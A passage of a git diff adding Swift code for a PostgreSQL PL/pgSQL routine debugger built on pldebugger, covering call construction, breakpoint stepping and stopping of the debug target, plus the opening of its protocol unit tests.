kindDisplayName(isProcedure: routine.kind == .procedure) + ) + } + + // The signature is pg_get_function_identity_arguments in parentheses: "(IN a integer, b anyelement)". A type is + // the last word of its argument, so a parameter named like a type does not count. + static func signatureTakesPseudoType(_ signature: String?) -> Bool { + guard let signature else { return false } + var body = Substring(signature.trimmingCharacters(in: .whitespaces)) + if body.hasPrefix("("), body.hasSuffix(")") { + body = body.dropFirst().dropLast() + } + return quoteAwareSplit(body, separator: ",").contains { argument in + guard let type = quoteAwareSplit(argument, separator: " ").last(where: { !$0.isEmpty }) else { return false } + return pseudoArgumentTypes.contains(String(type)) + } + } + + private static func quoteAwareSplit(_ text: Substring, separator: Character) -> [Substring] { + var parts: [Substring] = [] + var start = text.startIndex + var quoted = false + for index in text.indices { + if text[index] == "\"" { + quoted.toggle() + } else if text[index] == separator, !quoted { + parts.append(text[start.. PluginDebugTarget? { + guard let identity = cell(row, 0), UInt32(identity) != nil, let name = cell(row, 1) else { return nil } + return PluginDebugTarget( + identity: identity, + name: name + (cell(row, 3) ?? ""), + schema: cell(row, 2), + kindDisplayName: kindDisplayName(isProcedure: cell(row, 4) == "p") + ) + } + + private static func kindDisplayName(isProcedure: Bool) -> String { + isProcedure ? String(localized: "Procedure") : String(localized: "Function") + } + + // MARK: - Parameters and the call + + static func parameters(types: [String], names: [String?], modes: [String], defaultCount: Int) -> [PluginDebugParameter] { + let resolvedModes = types.indices.map { parameterMode(modes.indices.contains($0) ? modes[$0] : "i") } + let inputs = types.indices.filter { resolvedModes[$0] != .output } + let defaulted = Set(inputs.suffix(max(defaultCount, 0))) + return types.indices.map { index in + let declared = names.indices.contains(index) ? names[index] ?? "" : "" + return PluginDebugParameter( + name: declared.isEmpty ? "$\(index + 1)" : declared, + typeName: types[index], + mode: resolvedModes[index], + hasDefault: defaulted.contains(index) + ) + } + } + + static func parameterMode(_ code: String) -> PluginDebugParameterMode { + switch code { + case "o", "t": return .output + case "b": return .inputOutput + case "v": return .variadic + default: return .input + } + } + + static func call(for routine: PostgreSQLDebugRoutine, arguments: [PluginDebugArgument]) throws -> PostgreSQLDebugCall { + var values: [String: PluginDebugArgumentValue] = [:] + for argument in arguments { + values[argument.parameterName] = argument.value + } + var expressions: [String] = [] + var bound: [PluginCellValue] = [] + for (index, parameter) in routine.parameters.enumerated() { + let castType = routine.argumentCastTypes.indices.contains(index) + ? routine.argumentCastTypes[index] + : parameter.typeName + var expression: String + if parameter.mode == .output { + // CALL takes a placeholder for each OUT parameter; a function call takes none. + guard routine.isProcedure else { continue } + expression = "NULL::\(castType)" + } else { + switch values[parameter.name] ?? (parameter.hasDefault ? .defaultValue : .null) { + case .text(let text): + bound.append(.text(text)) + expression = "$\(bound.count)::\(castType)" + case .defaultValue: + expression = "(\(try defaultExpression(of: parameter, at: index, in: routine)))::\(castType)" + case .null: + bound.append(.null) + expression = "$\(bound.count)::\(castType)" + @unknown default: + bound.append(.null) + expression = "$\(bound.count)::\(castType)" + } + } + if parameter.mode == .variadic { + expression = "VARIADIC " + expression + } + expressions.append(expression) + } + + let routineName = PostgreSQLObjectQueries.qualifiedName(schema: routine.schema, name: routine.name) + let argumentList = expressions.joined(separator: ", ") + let sql: String + if routine.isProcedure { + sql = "CALL \(routineName)(\(argumentList))" + } else if routine.returnsBareRecord { + // SELECT * FROM a function returning a bare record needs a column definition list. + sql = "SELECT \(routineName)(\(argumentList))" + } else { + sql = "SELECT * FROM \(routineName)(\(argumentList))" + } + return PostgreSQLDebugCall(sql: sql, parameters: bound) + } + + // Never left out: overloads that differ only in defaulted parameters make f() ambiguous although the selected + // oid is known. The routine's own default expression, cast to the exact type, names that overload and is + // evaluated in the call just as an omitted argument's would be. + private static func defaultExpression( + of parameter: PluginDebugParameter, + at index: Int, + in routine: PostgreSQLDebugRoutine + ) throws -> String { + guard parameter.hasDefault else { + throw PostgreSQLRoutineDebugError.noDefault(parameter: parameter.name) + } + guard routine.defaultExpressions.indices.contains(index), let expression = routine.defaultExpressions[index] else { + throw PostgreSQLRoutineDebugError.defaultNotReadable(parameter: parameter.name) + } + return expression + } + + // MARK: - Starting + + static func startCancellation(portDelivered: Bool, callEnded: Bool) -> PostgreSQLDebugStartCancellation { + if portDelivered { return .attachAndAbort } + return callEnded ? .nothing : .cancelCall + } + + static func startStep(port: Int?, isCancelled: Bool) -> PostgreSQLDebugStartStep { + guard let port else { return isCancelled ? .cancelled : .endedBeforeEntry } + return isCancelled ? .attachAndAbort(port: port) : .attach(port: port) + } + + // MARK: - Outcomes + + static func startFailure(_ error: Error, database: String, routineName: String) -> Error { + guard let failure = error as? any PluginDriverError else { return error } + let state = failure.pluginSqlState + let message = failure.pluginErrorMessage + if isSharedMemoryFailure(sqlState: state, message: message) { + return PostgreSQLRoutineDebugError.sharedMemoryUnavailable + } + if state == "42883", message.contains("pldbg_") { + return PostgreSQLRoutineDebugError.extensionMissing(database: database) + } + if state == "42501", message.contains("must be owner or superuser") { + return PostgreSQLRoutineDebugError.notOwner(routine: routineName) + } + return error + } + + // Without the preload, pldebugger takes its slots from spare shared memory (dbgcomm.c) and can run out. + private static func isSharedMemoryFailure(sqlState: String?, message: String) -> Bool { + message.contains("out of shared memory") + || message.contains("Debugger Connection slots") + || (sqlState == "53200" && message.contains("shared memory")) + } + + // pldbgapi raises 08006 in two cases: "debugger connection terminated" when the target left the debugger, + // finished or not, and "select() failed waiting for target" when a signal reached the waiting proxy. + static func proxyFailure(_ error: Error) -> PostgreSQLDebugProxyFailure { + guard let failure = error as? LibPQPluginError, failure.sqlState == targetEndedState else { return .broken } + return failure.message.contains("select() failed") ? .interrupted : .targetEnded + } + + static func end( + of outcome: Result, + stopRequested: Bool, + interrupted: Bool = false + ) -> PluginDebugStop { + let ownMessage = interrupted ? interruptedMessage : stoppedMessage + switch outcome { + case .success(let result): + return .finished(result.columns.isEmpty ? nil : result) + case .failure(let error): + if error is CancellationError { + return .failed(message: ownMessage, detail: nil) + } + let failure = error as? any PluginDriverError + let parts = serverMessage(failure?.pluginErrorMessage ?? error.localizedDescription) + if stopRequested || interrupted, failure?.pluginSqlState == queryCanceledState { + return .failed(message: ownMessage, detail: parts.detail) + } + return .failed(message: parts.message, detail: parts.detail) + } + } + + // A routine's own SET overrides the session's on entry (measured): a stricter client_min_messages hides the + // PLDBGBREAK notice, so the start never sees the target, and a transaction_timeout ends a target that waits + // at a breakpoint. + static func blockingSetting(in configuration: [String]) -> PostgreSQLRoutineDebugError? { + for entry in configuration { + guard let separator = entry.firstIndex(of: "=") else { continue } + let name = entry[.. = ["warning", "error", "fatal", "panic"] + + private static func isZeroDuration(_ value: String) -> Bool { + let digits = value.prefix { $0.isNumber } + guard !digits.isEmpty, digits.allSatisfy({ $0 == "0" }) else { return false } + return ["", "us", "ms", "s", "min", "h", "d"].contains(value.dropFirst(digits.count).lowercased()) + } + + // libpq formats an error as "SEVERITY: message" followed by DETAIL, HINT and CONTEXT lines. + static func serverMessage(_ text: String) -> (message: String, detail: String?) { + let lines = text + .split(whereSeparator: \.isNewline) + .map { $0.trimmingCharacters(in: .whitespaces) } + .filter { !$0.isEmpty } + guard let first = lines.first else { return (text, nil) } + let detail = lines.dropFirst().joined(separator: "\n") + return (withoutSeverity(first), detail.isEmpty ? nil : detail) + } + + private static func withoutSeverity(_ line: String) -> String { + guard let separator = line.range(of: ": ") else { return line } + let label = line[.. + + private let target: PostgreSQLPluginDriver + private let proxy: PostgreSQLPluginDriver + private let sessions: any PluginDebugSessionSource + private let routine: PostgreSQLDebugRoutine + private let extensionSchema: String + private let targetProcess: Int? + private let initialBreakpoints: [PluginDebugBreakpoint] + private let outputContinuation: AsyncStream.Continuation + private let rendezvous = PostgreSQLDebugRendezvous() + // Settled the moment stop() is asked, so a read or breakpoint call it overlaps returns at once, and on every + // other way the run ends, so no wait on it outlives the session. + private let stopSignal = PostgreSQLDebugRendezvous() + + private var phase = Phase.starting + private var hasReportedFirstStop = false + private var lastStop: PluginDebugLocation? + private var selectedFrame = 0 + private var port: Int? + private var handle: Int? + private var targetCall: Task, Never>? + private var terminalStop: PluginDebugStop? + private var stopRequested = false + private var stopTask: Task? + private var stopDeadline: ContinuousClock.Instant? + private var abortSent = false + // The target read an abort: through the proxy, or through a session that attached to it. + private var abortDelivered = false + // Another session saw the target's backend gone from pg_stat_activity. + private var backendGone = false + private var proxyInterrupted = false + private var endedByInterruption = false + + init( + target: PostgreSQLPluginDriver, + proxy: PostgreSQLPluginDriver, + sessions: any PluginDebugSessionSource, + routine: PostgreSQLDebugRoutine, + extensionSchema: String, + targetProcess: Int?, + breakpoints: [PluginDebugBreakpoint] + ) { + self.target = target + self.proxy = proxy + self.sessions = sessions + self.routine = routine + self.extensionSchema = extensionSchema + self.targetProcess = targetProcess + self.initialBreakpoints = breakpoints + let (stream, continuation) = AsyncStream.makeStream() + output = stream + outputContinuation = continuation + } + + // Sends the call on the target, waits for the PLDBGBREAK notice it raises on entering the routine, and + // attaches the proxy to the backend number that notice names. + func start(_ call: PostgreSQLDebugCall) async throws { + let rendezvous = rendezvous + let continuation = outputContinuation + let target = target + target.core.observeServerNotices { notice in + if let port = PostgreSQLRoutineDebugProtocol.debuggerPort(inNotice: notice.message) { + rendezvous.deliver(port: port) + } else { + continuation.yield(notice.text) + } + } + targetCall = Task { + let outcome: Result + do { + outcome = .success(try await target.executeParameterized(query: call.sql, parameters: call.parameters)) + } catch { + outcome = .failure(error) + } + target.core.observeServerNotices(nil) + continuation.finish() + rendezvous.settle() + return outcome + } + + let delivered = await withTaskCancellationHandler { + await rendezvous.port() + } onCancel: { + Self.cancelUntilEntered(target: target, rendezvous: rendezvous, until: .now + Self.stopBudget) + } + switch PostgreSQLRoutineDebugProtocol.startStep(port: delivered, isCancelled: Task.isCancelled || stopRequested) { + case .endedBeforeEntry: + try await endBeforeEntry() + case .cancelled: + phase = .ended + stopSignal.settle() + if rendezvous.isAbandoned { + throw PostgreSQLRoutineDebugError.targetAbandoned(process: targetProcess, port: nil) + } + _ = await targetCall?.value + throw CancellationError() + case .attachAndAbort(let announced): + port = announced + throw await stopForStart(otherwise: CancellationError()) + case .attach(let announced): + port = announced + do { + handle = try await Self.attach(using: proxy, port: announced, extensionSchema: extensionSchema) + phase = .paused + } catch { + phase = .broken + Self.logger.error("Attaching to the debug target failed: \(error.localizedDescription, privacy: .private)") + throw await stopForStart(otherwise: PostgreSQLRoutineDebugProtocol.startFailure( + error, + database: routine.database, + routineName: routine.displayName + )) + } + // The attach does not observe cancellation, so a start cancelled meanwhile is ended here, as Stop would. + if Task.isCancelled { + throw await stopForStart(otherwise: CancellationError()) + } + } + } + + // A backend that may still hold its locks matters more than why the start failed. + private func stopForStart(otherwise error: Error) async -> Error { + guard case .unconfirmed = await stop() else { return error } + return PostgreSQLRoutineDebugError.targetAbandoned(process: targetProcess, port: port) + } + + // A cancel reaches only a call libpq has already sent, so it is repeated until the call ends or the target + // announces its port; from then on the target ignores a cancel and the attach and abort end it. A target that + // neither ends nor announces itself by the deadline is given up, so nothing waits on it forever. + private static func cancelUntilEntered( + target: PostgreSQLPluginDriver, + rendezvous: PostgreSQLDebugRendezvous, + until deadline: ContinuousClock.Instant + ) { + Task.detached { + while PostgreSQLRoutineDebugProtocol.startCancellation( + portDelivered: rendezvous.hasPort, + callEnded: rendezvous.hasSettled + ) == .cancelCall { + let remaining = ContinuousClock.now.duration(to: deadline) + guard remaining > .zero else { + logger.fault("The debug target neither ended nor reached the routine before the stop deadline") + rendezvous.abandon() + return + } + target.core.cancelQuery() + try? await Task.sleep(for: min(cancelRetryDelay, remaining)) + } + } + } + + // The call ended before the routine was entered: its arguments were refused, the debugger could not start, + // or the start was cancelled. + private func endBeforeEntry() async throws { + let outcome = await targetCall?.value ?? .failure(CancellationError()) + phase = .ended + stopSignal.settle() + hasReportedFirstStop = true + if case .failure(let error) = outcome { + if error is CancellationError { throw CancellationError() } + throw PostgreSQLRoutineDebugProtocol.startFailure( + error, + database: routine.database, + routineName: routine.displayName + ) + } + terminalStop = PostgreSQLRoutineDebugProtocol.end(of: outcome, stopRequested: false) + } + + func firstStop() async throws -> PluginDebugStop { + if let terminalStop { return terminalStop } + if stopRequested { return await outcomeAfterStop() } + if hasReportedFirstStop, phase == .paused, let lastStop { return .paused(lastStop) } + guard phase == .paused, let handle else { throw PostgreSQLRoutineDebugError.notPaused } + return try await advance( + PostgreSQLRoutineDebugProtocol.waitStatement(extensionSchema: extensionSchema, session: handle), + placing: initialBreakpoints + ) + } + + func perform(_ command: PluginDebugCommand) async throws -> PluginDebugStop { + if let terminalStop { return terminalStop } + if stopRequested { return await outcomeAfterStop() } + guard phase == .paused, hasReportedFirstStop, let handle else { throw PostgreSQLRoutineDebugError.notPaused } + guard let statement = PostgreSQLRoutineDebugProtocol.stepStatement( + command, + extensionSchema: extensionSchema, + session: handle + ) else { + throw PostgreSQLRoutineDebugError.unsupportedCommand + } + return try await advance(statement) + } + + private func advance( + _ statement: String, + placing breakpoints: [PluginDebugBreakpoint] = [] + ) async throws -> PluginDebugStop { + phase = .running + selectedFrame = 0 + let reply: PluginQueryResult + // The target keeps its debugger socket for the rest of its session, so when the routine returns without + // pausing again the proxy only hears of it once that session closes (measured: 8 s later, on disconnect). + // The target's own call ending is the signal instead. + let proxy = proxy + guard let answered = await rendezvous.reply(to: Task { try await proxy.execute(query: statement) }) else { + return await targetEnded() + } + do { + reply = try answered.get() + } catch { + switch PostgreSQLRoutineDebugProtocol.proxyFailure(error) { + case .targetEnded: + return await targetEnded() + case .interrupted: + // The target goes on to its next pause and waits for a command the session can no longer match to + // a reply, so it is ended the way Stop ends it. + noteInterruption() + endedByInterruption = !stopRequested + Self.logger.error("A signal interrupted the debugger session while it waited; ending the target") + await endTarget() + return await targetEnded() + case .broken: + phase = .broken + Self.logger.error("The debugger session failed: \(error.localizedDescription, privacy: .private)") + guard stopRequested else { throw error } + await endTarget() + return await outcomeAfterStop() + } + } + hasReportedFirstStop = true + guard let stop = PostgreSQLRoutineDebugProtocol.location( + fromBreakpointRow: reply.rows.first?.map(\.asText) ?? [] + ) else { + return await targetEnded() + } + phase = .paused + lastStop = stop + if stopRequested { + // The target paused before the cancel reached it, and a paused target holds a cancel until it resumes. + await endTarget() + return await targetEnded() + } + if let handle { + for breakpoint in breakpoints where !stopRequested { + do { + _ = try await place(breakpoint, session: handle) + } catch where PostgreSQLRoutineDebugProtocol.proxyFailure(error) == .interrupted { + noteInterruption() + endedByInterruption = !stopRequested + await endTarget() + return await targetEnded() + } catch { + continue + } + } + } + if stopRequested { return await outcomeAfterStop() } + return .paused(stop) + } + + // MARK: - Reading the paused target + + func source(of unit: PluginDebugUnit) async throws -> String { + guard let oid = PostgreSQLRoutineDebugProtocol.oid(inIdentity: unit.identity) else { + throw PostgreSQLRoutineDebugError.routineNotFound(unit.displayName) + } + guard !stopRequested else { throw CancellationError() } + switch phase { + case .starting, .running: + throw PostgreSQLRoutineDebugError.notPaused + case .broken: + throw PostgreSQLRoutineDebugError.unavailable + case .paused where hasReportedFirstStop: + let schema = extensionSchema + let reply = try await pausedRead { + PostgreSQLRoutineDebugProtocol.sourceStatement(extensionSchema: schema, session: $0, oid: oid) + } + if let text = reply?.rows.first?.first?.asText { return text } + case .paused: + break + case .ended: + // The proxy may still be waiting on a target that returned; the target's own session is free again. + guard !rendezvous.isAbandoned else { throw PostgreSQLRoutineDebugError.unavailable } + let reply = try await target.execute(query: PostgreSQLRoutineDebugProtocol.routineSourceStatement(oid: oid)) + guard let text = reply.rows.first?.first?.asText else { + throw PostgreSQLRoutineDebugError.routineNotFound(unit.displayName) + } + return text + } + // pldbg_get_source sends prosrc, which the catalog answers too while the proxy is idle. + let reply = try await proxyCall(PostgreSQLRoutineDebugProtocol.routineSourceStatement(oid: oid)) + guard let text = reply.rows.first?.first?.asText else { + throw PostgreSQLRoutineDebugError.routineNotFound(unit.displayName) + } + return text + } + + func stack() async throws -> [PluginDebugFrame] { + let schema = extensionSchema + guard let reply = try await pausedRead({ + PostgreSQLRoutineDebugProtocol.stackStatement(extensionSchema: schema, session: $0) + }) else { return [] } + return reply.rows.compactMap { PostgreSQLRoutineDebugProtocol.frame(fromStackRow: $0.map(\.asText)) } + } + + func variables(inFrame level: Int) async throws -> [PluginDebugVariable] { + let schema = extensionSchema + if level != selectedFrame { + guard try await pausedRead({ + PostgreSQLRoutineDebugProtocol.selectFrameStatement(extensionSchema: schema, session: $0, level: level) + }) != nil else { return [] } + selectedFrame = level + } + guard let reply = try await pausedRead({ + PostgreSQLRoutineDebugProtocol.variablesStatement(extensionSchema: schema, session: $0) + }) else { return [] } + return reply.rows.compactMap { PostgreSQLRoutineDebugProtocol.variable(fromRow: $0.map(\.asText)) } + } + + func setBreakpoint(_ breakpoint: PluginDebugBreakpoint) async throws -> PluginDebugBreakpoint? { + guard let handle = try pausedSession() else { return nil } + do { + return try await place(breakpoint, session: handle) + } catch is CancellationError { + throw CancellationError() + } catch where PostgreSQLRoutineDebugProtocol.proxyFailure(error) == .targetEnded { + return nil + } catch { + if PostgreSQLRoutineDebugProtocol.proxyFailure(error) == .interrupted { noteInterruption() } + throw error + } + } + + func removeBreakpoint(_ breakpoint: PluginDebugBreakpoint) async throws { + guard let oid = PostgreSQLRoutineDebugProtocol.oid(inIdentity: breakpoint.unitIdentity) else { return } + let schema = extensionSchema + _ = try await pausedRead { + PostgreSQLRoutineDebugProtocol.dropBreakpointStatement( + extensionSchema: schema, + session: $0, + oid: oid, + line: breakpoint.line + ) + } + } + + // pldbg_set_breakpoint accepts any line and answers t; a line with no statement never stops. + private func place(_ breakpoint: PluginDebugBreakpoint, session: Int) async throws -> PluginDebugBreakpoint? { + guard let oid = PostgreSQLRoutineDebugProtocol.oid(inIdentity: breakpoint.unitIdentity), breakpoint.line > 0 else { + return nil + } + let reply = try await proxyCall(PostgreSQLRoutineDebugProtocol.setBreakpointStatement( + extensionSchema: extensionSchema, + session: session, + oid: oid, + line: breakpoint.line + )) + return PostgreSQLCatalogBoolean.isTrue(reply.rows.first?.first?.asText) ? breakpoint : nil + } + + // A read or breakpoint edit that stop() overlaps throws at once. Its statement still finishes on the proxy + // first, and the abort queued behind it reaches the target after it: libpq runs one statement at a time per + // connection, and cancelling the read gains nothing (measured: the cancel lands only once the read's reply has + // crossed, while it can leave part of that reply unread). + private func proxyCall(_ statement: String) async throws -> PluginQueryResult { + let proxy = proxy + guard let answered = await stopSignal.reply(to: Task { try await proxy.execute(query: statement) }) else { + throw CancellationError() + } + return try answered.get() + } + + private func pausedRead(_ statement: (Int) -> String) async throws -> PluginQueryResult? { + guard let handle = try pausedSession() else { return nil } + do { + return try await proxyCall(statement(handle)) + } catch is CancellationError { + throw CancellationError() + } catch { + switch PostgreSQLRoutineDebugProtocol.proxyFailure(error) { + case .targetEnded: + return nil + case .interrupted: + noteInterruption() + throw error + case .broken: + throw error + } + } + } + + // The interrupted call's reply stays unread on the proxy, so no later call could be matched to its own reply. + private func noteInterruption() { + phase = .broken + proxyInterrupted = true + } + + // pldbgapi answers only while the target waits for a command; the session is nil once the target is gone. + private func pausedSession() throws -> Int? { + if stopRequested { return nil } + switch phase { + case .paused where hasReportedFirstStop: + return handle + case .ended, .broken: + return nil + case .starting, .running, .paused: + throw PostgreSQLRoutineDebugError.notPaused + } + } + + // MARK: - Stop + + func stop() async -> PluginDebugStopOutcome { + if stopTask == nil { + stopRequested = true + stopSignal.settle() + if stopDeadline == nil { stopDeadline = .now + Self.stopBudget } + stopTask = Task { await performStop() } + } + await stopTask?.value + // A call that failed on its own connection ended only on this side; the backend may still hold its locks. + let callEnded = rendezvous.hasSettled && (abortDelivered || backendGone || !target.hasLostConnection) + return PostgreSQLRoutineDebugProtocol.stopOutcome( + callEnded: callEnded, + abandoned: rendezvous.isAbandoned, + process: targetProcess, + port: port + ) + } + + private func performStop() async { + switch phase { + case .starting: + if port == nil { + let deadline = currentDeadline() + Self.cancelUntilEntered(target: target, rendezvous: rendezvous, until: deadline) + let rendezvous = rendezvous + port = await Self.bounded(by: deadline) { await rendezvous.port() } ?? nil + } + if port != nil { + await endTarget() + } else { + await awaitTargetEnd() + } + case .paused, .broken: + await endTarget() + case .running: + // Never the proxy: cancelling a waiting proxy call desynchronizes the session. A target that paused + // before this cancel arrived holds it, and the step in flight aborts the target instead. + target.core.cancelQueryKeepingReply() + await awaitTargetEnd() + case .ended: + break + } + if target.hasLostConnection, !abortDelivered { + await endBackendWithoutItsConnection() + } + _ = await targetEnded() + } + + // A call whose own connection dropped ended only on this side: its backend may still run a statement, or wait at + // a pause for the proxy, which still holds it. The proxy's abort reaches it paused, a cancel from another session + // reaches it running, and only its absence from pg_stat_activity confirms the end. + private func endBackendWithoutItsConnection() async { + Task { await self.abortTarget() } + guard let process = targetProcess else { return } + let sessions = sessions + let deadline = currentDeadline() + guard case .success(let rescue)? = await Self.boundedResult(by: deadline, { + try await PostgreSQLPluginDriver.debugSession(from: sessions) + }) else { return } + _ = await Self.boundedResult(by: deadline) { + try await rescue.execute(query: PostgreSQLRoutineDebugProtocol.cancelBackendStatement(process: process)) + } + while !abortDelivered { + let counted = await Self.boundedResult(by: deadline) { + try await rescue.execute(query: PostgreSQLRoutineDebugProtocol.backendCountStatement(process: process)) + } + guard case .success(let reply)? = counted else { return } + if reply.rows.first?.first?.asText == "0" { + backendGone = true + return + } + let remaining = ContinuousClock.now.duration(to: deadline) + guard remaining > .zero else { return } + try? await Task.sleep(for: min(Self.attachRetryDelay, remaining)) + } + } + + private func currentDeadline() -> ContinuousClock.Instant { + if let stopDeadline { return stopDeadline } + let fresh = ContinuousClock.now + Self.stopBudget + stopDeadline = fresh + return fresh + } + + // The abort is sent, not waited on: an abort to a target that already returned waits on a socket that stays + // open for the target's session. The target's call ending is what counts. Without a working proxy the target may + // still be running a statement, which only a cancel ends before it pauses and waits in accept() for good; a + // paused target holds the cancel and a waiting one ignores it. + private func endTarget() async { + if proxyInterrupted || phase == .broken { target.core.cancelQueryKeepingReply() } + Task { await self.abortTarget() } + await awaitTargetEnd() + } + + // Past the deadline the target is given up rather than waited on: the host closes the drivers once stop() + // returns, and the answer then says the backend may still hold its locks. + private func awaitTargetEnd() async { + let rendezvous = rendezvous + guard await Self.bounded(by: currentDeadline(), { await rendezvous.settled() }) == nil, !rendezvous.hasSettled else { + return + } + Self.logger.fault("The debug target was not confirmed ended before the stop deadline") + rendezvous.abandon() + } + + private func abortTarget() async { + guard !abortSent else { return } + abortSent = true + // After an interruption the same proxy still holds the target, which reads the abort at its next pause. + if let handle, phase != .broken || proxyInterrupted { + let proxy = proxy + let statement = PostgreSQLRoutineDebugProtocol.abortStatement(extensionSchema: extensionSchema, session: handle) + switch await Self.boundedResult(by: currentDeadline(), { try await proxy.execute(query: statement) }) { + case .success?: + abortDelivered = true + return + case .failure(let error)?: + // An interrupted abort was still written; the target reads it at its next pause while the proxy + // stays connected (measured), and an attach cannot reach a target the proxy still holds. + guard PostgreSQLRoutineDebugProtocol.proxyFailure(error) == .broken else { return } + Self.logger.error("Abort through the debugger session failed: \(error.localizedDescription, privacy: .private)") + case nil: + return + } + } + // With the target's own connection gone its call has already settled, which ends no backend. + await abortByAttaching(reusingProxy: handle == nil && phase != .broken, evenAfterTheCallEnded: target.hasLostConnection) + } + + // A target whose proxy is gone waits in accept() and ignores cancel and terminate. Attaching to its backend + // number and aborting is the only way to end it. The old proxy can hold the target for a moment after its + // client goes, so the attach is retried until the deadline. + private func abortByAttaching(reusingProxy: Bool, evenAfterTheCallEnded: Bool = false) async { + guard let port else { return } + let driver: PostgreSQLPluginDriver + if reusingProxy { + driver = proxy + } else { + let sessions = sessions + switch await Self.boundedResult(by: currentDeadline(), { + try await PostgreSQLPluginDriver.debugSession(from: sessions) + }) { + case .success(let opened)?: + driver = opened + case .failure(let error)?: + Self.logger.error("No session to reach the debug target: \(error.localizedDescription, privacy: .private)") + return + case nil: + Self.logger.error("A session to reach the debug target did not open before the stop deadline") + return + } + } + let schema = extensionSchema + let deadline = currentDeadline() + while !abortDelivered, evenAfterTheCallEnded || !rendezvous.hasSettled { + let ended = await Self.boundedResult(by: deadline) { + let session = try await Self.attach(using: driver, port: port, extensionSchema: schema) + _ = try await driver.execute( + query: PostgreSQLRoutineDebugProtocol.abortStatement(extensionSchema: schema, session: session) + ) + } + switch ended { + case .success?: + abortDelivered = true + return + case nil: + return + case .failure: + let remaining = ContinuousClock.now.duration(to: deadline) + guard remaining > .zero else { return } + try? await Task.sleep(for: min(Self.attachRetryDelay, remaining)) + } + } + } + + private static func attach(using driver: PostgreSQLPluginDriver, port: Int, extensionSchema: String) async throws -> Int { + let reply = try await driver.execute( + query: PostgreSQLRoutineDebugProtocol.attachStatement(extensionSchema: extensionSchema, port: port) + ) + guard let session = reply.rows.first?.first?.asText.flatMap({ Int($0) }) else { + throw PostgreSQLRoutineDebugError.unavailable + } + return session + } + + // The operation keeps running past the deadline; its result is then dropped. + private static func bounded( + by deadline: ContinuousClock.Instant, + _ operation: @escaping @Sendable () async -> T + ) async -> T? { + let resumed = OSAllocatedUnfairLock(initialState: false) + return await withCheckedContinuation { (continuation: CheckedContinuation) in + let resume = { @Sendable (value: T?) in + let first = resumed.withLock { done -> Bool in + defer { done = true } + return !done + } + if first { continuation.resume(returning: value) } + } + Task { resume(await operation()) } + Task { + try? await Task.sleep(until: deadline, clock: .continuous) + resume(nil) + } + } + } + + private static func boundedResult( + by deadline: ContinuousClock.Instant, + _ operation: @escaping @Sendable () async throws -> T + ) async -> Result? { + await bounded(by: deadline) { () async -> Result in + do { + return .success(try await operation()) + } catch { + return .failure(error) + } + } + } + + private func targetEnded() async -> PluginDebugStop { + await rendezvous.settled() + phase = .ended + stopSignal.settle() + if let terminalStop { return terminalStop } + let stop: PluginDebugStop + if rendezvous.isAbandoned { + stop = PostgreSQLRoutineDebugProtocol.abandonedStop(process: targetProcess, port: port) + } else { + let outcome = await targetCall?.value ?? .failure(CancellationError()) + stop = PostgreSQLRoutineDebugProtocol.end( + of: outcome, + stopRequested: stopRequested, + interrupted: endedByInterruption + ) + } + if terminalStop == nil { terminalStop = stop } + return terminalStop ?? stop + } + + private func outcomeAfterStop() async -> PluginDebugStop { + await stopTask?.value + return terminalStop ?? PostgreSQLRoutineDebugProtocol.end(of: .failure(CancellationError()), stopRequested: true) + } +} diff --git a/apple/Plugins/PostgreSQLDriverTests/PostgreSQLRoutineDebugProtocolTests.swift b/apple/Plugins/PostgreSQLDriverTests/PostgreSQLRoutineDebugProtocolTests.swift new file mode 100644 index 0000000000..02bb5d0198 --- /dev/null +++ b/apple/Plugins/PostgreSQLDriverTests/PostgreSQLRoutineDebugProtocolTests.swift @@ -0,0 +1,877 @@ +// +// PostgreSQLRoutineDebugProtocolTests.swift +// PostgreSQLDriverTests +// + +import Foundation +import TableProPluginKit +import TableProPostgreSQLCore +import Testing + +// Replies, rows and errors below are copied from PostgreSQL 17.11 with pldebugger 1.10 +// (apple/scripts/probes/check-pldebugger-session.sh). +struct PostgreSQLRoutineDebugProtocolTests { + private static func routine(_ row: [String?], identity: String = "16433") -> PostgreSQLDebugRoutine { + PostgreSQLDebugRoutine(row: row, identity: identity) + } + + private static let orderTotal = routine([ + "postgres", "public", "t", "t", "t", "f", "v", "plpgsql", "public", "order_total", + "qty integer, unit_price numeric", "f", "f", "{integer,numeric}", "{qty,unit_price}", nil, "0" + ]) + + private static let logNote = routine([ + "postgres", "public", "t", "t", "t", "p", "v", "plpgsql", "public", "log_note", + "IN msg text, INOUT n integer, IN label text", "t", "f", "{text,integer,text}", "{msg,n,label}", + "{i,b,i}", "2", "f", nil, + #"{"\"pg_catalog\".\"text\"","\"pg_catalog\".\"int4\"","\"pg_catalog\".\"text\""}"#, + "{NULL,NULL::integer,'x'::text}" + ], identity: "16434") + + private static let pair = routine([ + "postgres", "public", "t", "t", "t", "f", "v", "plpgsql", "public", "pair", + "a integer, OUT x integer, OUT y text", "t", "f", "{integer,integer,text}", "{a,x,y}", "{i,o,o}", "0" + ], identity: "16435") + + private static let anonymous = routine([ + "postgres", "public", "t", "t", "t", "f", "v", "plpgsql", "public", "anon", + "integer, integer", "t", "f", "{integer,integer}", nil, nil, "1", "f", nil, + #"{"\"pg_catalog\".\"int4\"","\"pg_catalog\".\"int4\""}"#, "{NULL,5}" + ], identity: "16436") + + private static let totalOf = routine([ + "postgres", "public", "t", "t", "t", "f", "s", "plpgsql", "public", "total_of", + "VARIADIC nums integer[]", "f", "f", "{integer[]}", "{nums}", "{v}", "0" + ], identity: "16437") + + private static func argument(_ name: String, _ value: PluginDebugArgumentValue) -> PluginDebugArgument { + PluginDebugArgument(parameterName: name, value: value) + } + + private static func result(columns: [String]) -> PluginQueryResult { + PluginQueryResult( + columns: columns, + columnTypeNames: columns.map { _ in "numeric" }, + rows: columns.isEmpty ? [] : [["33.0"]], + rowsAffected: 0, + executionTime: 0 + ) + } + + // MARK: - Notices + + @Test("The PLDBGBREAK notice names the backend the proxy attaches to") + func breakNoticeParses() { + #expect(PostgreSQLRoutineDebugProtocol.debuggerPort(inNotice: "PLDBGBREAK:12") == 12) + #expect(PostgreSQLRoutineDebugProtocol.debuggerPort(inNotice: " PLDBGBREAK:3\n") == 3) + } + + @Test("Any other notice is routine output, not a port") + func otherNoticesAreOutput() { + #expect(PostgreSQLRoutineDebugProtocol.debuggerPort(inNotice: "rows now 2") == nil) + #expect(PostgreSQLRoutineDebugProtocol.debuggerPort(inNotice: "PLDBGBREAK:") == nil) + #expect(PostgreSQLRoutineDebugProtocol.debuggerPort(inNotice: "said PLDBGBREAK:4") == nil) + } + + // MARK: - Lines + + @Test("A stop's reported line is one past the source line") + func stopLineIsShifted() { + let stop = 